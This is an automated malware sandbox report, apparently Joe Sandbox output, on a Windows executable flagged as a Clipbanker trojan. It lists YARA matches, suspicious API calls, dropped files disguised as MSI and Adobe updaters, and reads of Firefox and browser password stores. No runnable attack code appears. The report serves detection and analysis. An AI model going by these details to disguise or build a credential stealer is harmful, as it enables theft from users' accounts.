Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D4C230 SetThreadExecutionState,SetThreadExecutionState,CreateThread,CloseHandle,GetDesktopWindow,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,shutdown,closesocket,SetThreadDesktop,Sleep,GetCurrentThreadId,GetThreadDesktop,SetThreadDesktop,GetCurrentThreadId,GetThreadDesktop,BitBlt,DeleteObject,DeleteDC,ReleaseDC,Sleep,GetSystemMetrics,GetSystemMetrics,GetCurrentThreadId,GetThreadDesktop,SwitchDesktop,SetThreadDesktop,Sleep,Sleep,DeleteObject,DeleteDC,ReleaseDC,

0_2_06D4C230

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D29080 OpenDesktopA,CreateDesktopA,

0_2_06D29080

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 17.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 17.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmp#+
Source: file.exe	Static PE information: section name: .vmpY[.
Source: file.exe	Static PE information: section name: .vmpY[.

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D2C480 CreateProcessAsUserA,CloseHandle,CloseHandle,WaitForSingleObject,GetExitCodeProcess,

0_2_06D2C480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D4D540	0_2_06D4D540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2A230	0_2_06D2A230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D29A10	0_2_06D29A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D33B60	0_2_06D33B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D4C990	0_2_06D4C990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D41980	0_2_06D41980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D6E63B	0_2_06D6E63B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2C760	0_2_06D2C760
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D81714	0_2_06D81714
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D324B0	0_2_06D324B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D7F43E	0_2_06D7F43E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D6E2DC	0_2_06D6E2DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D472F0	0_2_06D472F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D44370	0_2_06D44370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D7C010	0_2_06D7C010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2FE50	0_2_06D2FE50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D6DF9A	0_2_06D6DF9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D48F60	0_2_06D48F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D45AB0	0_2_06D45AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D30B90	0_2_06D30B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D67880	0_2_06D67880
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D72840	0_2_06D72840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D2F9D0	0_2_06D2F9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D6E999	0_2_06D6E999
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D24910	0_2_06D24910

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 06D66140 appears 58 times

Source: file.exe, 00000000.00000003.2199558318.000000000694F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000002.4443680764.0000000001125000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamerangerpromostar_instrument1.exeX8 vs file.exe
Source: file.exe, 00000000.00000003.2195723746.0000000006946000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe, 00000000.00000000.1990364908.0000000001125000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamerangerpromostar_instrument1.exeX8 vs file.exe
Source: file.exe, 00000000.00000003.2196881348.0000000006945000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewinamp.exe0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamerangerpromostar_instrument1.exeX8 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 17.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 17.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000011.00000002.2298062400.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.2460266314.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000009.00000002.2211800433.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000008.00000002.2218340799.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.4441908172.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000012.00000002.2379291934.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/32@5/4

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D29130 CreateToolhelp32Snapshot,Process32First,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,

0_2_06D29130

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5068:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4748:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\trixy1UB98D2D2zeo

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000003.2113965338.000000000647E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2115771934.000000000647E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE autofill (name VARCHAR, value VARCHAR, value_lower VARCHAR, da`;H
Source: file.exe, 00000000.00000002.4442200408.000000000030D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000003.2122632450.0000000006540000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2124050663.000000000173B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2112112086.0000000006483000.00000004.00000020.00020000.00000000.sdmp, HYMDMNDHbpvCLogin Data.0.dr, yDHoBcv6VALYLogin Data For Account.0.dr, KNCS9xAjcy97Login Data.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
